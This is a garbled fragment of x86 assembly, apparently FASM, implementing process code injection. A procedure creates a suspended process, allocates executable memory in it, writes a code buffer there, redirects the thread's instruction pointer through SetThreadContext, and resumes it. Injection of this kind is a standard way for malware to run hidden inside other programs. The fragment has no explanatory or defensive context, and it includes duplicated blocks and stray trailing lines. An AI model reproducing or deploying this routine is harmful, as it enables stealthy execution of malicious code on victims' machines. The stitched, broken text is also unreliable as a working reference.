typedef struct _IMAGE_BASE_RELOCATION {
UINT32 VirtualAddress;
UINT32 SizeOfBlock;
} IMAGE_BASE_RELOCATION, *PIMAGE_BASE_RELOCATION;
UINT32 VirtualAddress;
UINT32 SizeOfBlock;
} IMAGE_BASE_RELOCATION, *PIMAGE_BASE_RELOCATION;
sub esp,0x0300
mov ebx,esp
mov dword [ebx],0x00010007
invoke GetThreadContext,[p_inf.hThread],ebx
pushd esi
popd [ebx+0xB8]
invoke SetThreadContext,[p_inf.hThread],ebx
add esp,0x0300
proc InjectCode dwEIP,dwCodeSize
locals
shit dd ?
p_inf PROCESS_INFORMATION
s_inf STARTUPINFO
endl
pusha
xor esi,esi
lea edi,[s_inf]
mov ecx,sizeof.STARTUPINFO
xor eax,eax
rep stosb
lea eax,[szProga]
lea ecx,[p_inf]
lea edx,[s_inf]
mov [s_inf.wShowWindow],1
invoke CreateProcess,esi,eax,esi,esi,esi,4,esi,esi,edx,ecx
test eax,eax
je .exit
invoke VirtualAllocEx,[p_inf.hProcess],esi,[dwCodeSize],0x1000,0x40
test eax,eax
je .exit
xchg eax,esi
lea eax,[shit]
invoke WriteProcessMemory,[p_inf.hProcess],esi,[dwEIP],[dwCodeSize],eax
sub esp,0x0300
mov ebx,esp
mov dword [ebx],0x00010007
invoke GetThreadContext,[p_inf.hThread],ebx
pushd esi
popd [ebx+0xB8]
invoke SetThreadContext,[p_inf.hThread],ebx
add esp,0x0300
test eax,eax
je .exit
invoke ResumeThread,[p_inf.hThread]
.exit:
popa
ret
endp
sub esp,0x0300
add esp,0x0300
local abc:CONTEXT